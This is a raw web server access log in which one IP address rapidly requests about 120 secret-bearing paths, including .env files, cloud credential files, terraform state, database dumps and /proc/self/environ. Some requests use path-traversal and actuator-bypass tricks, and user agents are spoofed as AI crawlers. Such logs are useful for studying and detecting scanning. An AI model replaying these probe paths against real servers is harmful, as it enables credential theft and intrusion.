"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot) Chrome/136.0.5666.42 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /private/.env HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots)" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /app/api/.env HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /test/.env HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15; compatible; LinkedInBot/1.0; +http://www.linkedin.com" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /services/.env HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /internal/.env HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /backend/.env.local HTTP/1.1" 200 12095 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /backend/api/.env HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.7740.201 Safari/537.36 Edg/120.0.7740.201; compatible; WhatsApp/10.0.2.1" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /backend/.env.production HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /frontend/.env.production HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.1884.123 Safari/537.36; compatible; TelegramBot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /frontend/.env.local HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /stage/.env HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.2234.233 Mobile Safari/537.36; compatible; Twitterbot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /src/api/.env HTTP/1.1" 200 12092 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /app/backend/.env HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.356.94 Mobile Safari/537.36; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /node/.env HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /src/.env.local HTTP/1.1" 200 12093 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /src/.env.production HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /server/.env.local HTTP/1.1" 200 12093 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /admin/.env.local HTTP/1.1" 200 12090 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /admin/.env.production HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /server/.env.production HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /apps/api/.env HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/133.0.658.124 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /database/.env HTTP/1.1" 200 12089 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /apps/backend/.env HTTP/1.1" 200 12095 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /config/credentials.json HTTP/1.1" 200 12096 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; WhatsApp/10.0.2.1" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /config/env.json HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0) Chrome/85.0.719.185 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /config/env.php HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6554.224 Safari/537.36; compatible; TelegramBot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /.env.testing HTTP/1.1" 200 12086 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /credentials.ini HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /docker-compose.prod.yml HTTP/1.1" 200 12101 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /kubernetes.yml HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.3564.15 Mobile Safari/537.36; compatible; Discordbot/2.0; +https://discordapp.com" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /k8s/secrets.yaml HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.7193.245 Safari/537.36; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /.terraform/terraform.tfstate HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.10) Gecko/20100101 Firefox/78.10; compatible; Discordbot/2.0; +https://discordapp.com" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /terraform.tfstate.backup HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.15) Gecko/20100101 Firefox/150.15; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /backup.sql HTTP/1.1" 200 12086 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /dump.sql HTTP/1.1" 200 12087 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Twitterbot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /login/..;/actuator/env HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /secure/..;/actuator/env HTTP/1.1" 200 12101 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /static../.aws/credentials HTTP/1.1" 200 12100 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.8286.73 Safari/537.36; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /static../.env HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.7012.201 Mobile Safari/537.36; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /files../.env HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /assets../../../.env HTTP/1.1" 200 12087 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /media../.env HTTP/1.1" 200 12089 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Twitterbot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /proc/self/environ HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.5) Gecko/20100101 Firefox/150.5; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /horizon/dashboard HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (compatible; LinkedInBot/1.0; +http://www.linkedin.com)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /log-viewer HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Bytespider; +https://zhanzhang.toutiao.com/) Chrome/128.0.3465.167 Safari/537.36 Edg/128.0.3465.167" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /.env.production.bak HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.5386.235 Safari/537.36; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /service/.env HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (compatible; Twitterbot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /.env.dev HTTP/1.1" 200 12087 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; LinkedInBot/1.0; +http://www.linkedin.com" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /.env.production.local HTTP/1.1" 200 12099 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.4) Gecko/20100101 Firefox/133.4; compatible; Google-Extended/1.0; +http://www.google.com/bot.html" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /.env.orig HTTP/1.1" 200 12094 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Discordbot/2.0; +https://discordapp.com)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /config/.env.local HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.120.129 Mobile Safari/537.36; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /.env.php HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.18) Gecko/20100101 Firefox/78.18; compatible; WhatsApp/10.0.2.1" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /.env.development.local HTTP/1.1" 200 12100 "-" "Mozilla/5.0 (compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /.env.prod.local HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.8819.94 Safari/537.36; compatible; LinkedInBot/1.0; +http://www.linkedin.com" 34.74.70.246 - - [10/Sep/2026:03:49:43 -0700] "GET /config/.env.php HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.2419.44 Safari/537.36; compatible; LinkedInBot/1.0; +http://www.linkedin.com" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /config/.env.production HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot) Chrome/122.0.4702.232 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /deploy/.env HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5; rv:105.11) Gecko/20100101 Firefox/105.11; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /private/.env.production HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /backend/.env.prod HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot) Chrome/128.0.5669.186 Safari/537.36 Edg/128.0.5669.186" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /internal/.env.production HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.1225.89 Mobile Safari/537.36; compatible; WhatsApp/10.0.2.1" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /app/.env.prod HTTP/1.1" 200 12093 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /app/.env.backup HTTP/1.1" 200 12093 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /backend/.env.backup HTTP/1.1" 200 12092 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /services/.env.local HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:150.10) Gecko/20100101 Firefox/150.10; compatible; TelegramBot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /services/.env.production HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /env.bak HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /env.old HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (compatible; Bytespider; +https://zhanzhang.toutiao.com/)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /services/api/.env HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.5048.229 Safari/537.36 Edg/136.0.5048.229; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /wp-config.php.save HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /config/config.php HTTP/1.1" 200 12091 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /database.php HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.1472.27 Safari/537.36; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /config/credentials.json.bak HTTP/1.1" 200 12104 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /config/auth.json HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +Claude-User@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /storage/logs/laravel.log HTTP/1.1" 200 12091 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /config/creds.json HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5; rv:121.18) Gecko/20100101 Firefox/121.18; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /settings.local.py HTTP/1.1" 200 12093 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Applebot/0.1; +http://www.apple.com/go/applebot)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /home/ec2-user/.aws/credentials HTTP/1.1" 200 12105 "-" "Mozilla/5.0 (compatible; Bytespider; +https://zhanzhang.toutiao.com/)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /keys/gcp.json HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0) Chrome/126.0.3912.127 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /home/ubuntu/.aws/credentials HTTP/1.1" 200 12100 "-" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /home/node/.aws/credentials HTTP/1.1" 200 12096 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /gcloud-service-account.json HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /home/ec2-user/.aws/config HTTP/1.1" 200 12103 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /config/gcp.json HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (compatible; Bytespider; +https://zhanzhang.toutiao.com/)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /serviceAccount.json HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Twitterbot/1.0) Chrome/126.0.8597.23 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /root/.config/gcloud/application_default_credentials.json HTTP/1.1" 200 12117 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.4410.18 Mobile Safari/537.36; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /home/ubuntu/.config/gcloud/application_default_credentials.json HTTP/1.1" 200 12122 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Bytespider; +https://zhanzhang.toutiao.com/)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /home/node/.config/gcloud/application_default_credentials.json HTTP/1.1" 200 12119 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /claude.json HTTP/1.1" 200 12086 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Claude-User/1.0; +Claude-User@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /openai_key.json HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; rv:143.1) Gecko/20100101 Firefox/143.1; compatible; TelegramBot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /.env.save HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /config/azure.json HTTP/1.1" 200 12093 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /.env.prod.bak HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler) Chrome/126.0.974.245 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /.env.php.bak HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.6527.245 Mobile Safari/537.36; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /front/.env HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.1144.55 Mobile Safari/537.36; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /public_html/.env HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +Claude-User@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /html/.env HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.3) Gecko/20100101 Firefox/149.3; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /htdocs/.env HTTP/1.1" 200 12088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /symfony/.env HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user) Chrome/134.0.2107.228 Safari/537.36 Edg/134.0.2107.228" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /backend/.env.staging HTTP/1.1" 200 12089 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /wordpress/.env HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /packages/api/.env HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot) Chrome/118.0.8479.238 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /config/environment.json HTTP/1.1" 200 12093 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Bytespider; +https://zhanzhang.toutiao.com/)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /apps/frontend/.env HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:133.12) Gecko/20100101 Firefox/133.12; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /frontend/.env.prod HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Discordbot/2.0; +https://discordapp.com) Chrome/136.0.7764.178 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /.env.test HTTP/1.1" 200 12081 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /cms/.env HTTP/1.1" 200 12085 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +claudebot@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /back-end/.env HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots) Chrome/109.0.2162.126 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /www/.env HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user) Chrome/151.0.991.126 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /shared/.env HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /wp/.env HTTP/1.1" 200 12089 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /app/.env.staging HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.5) Gecko/20100101 Firefox/127.5; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /frontend/.env.staging HTTP/1.1" 200 12094 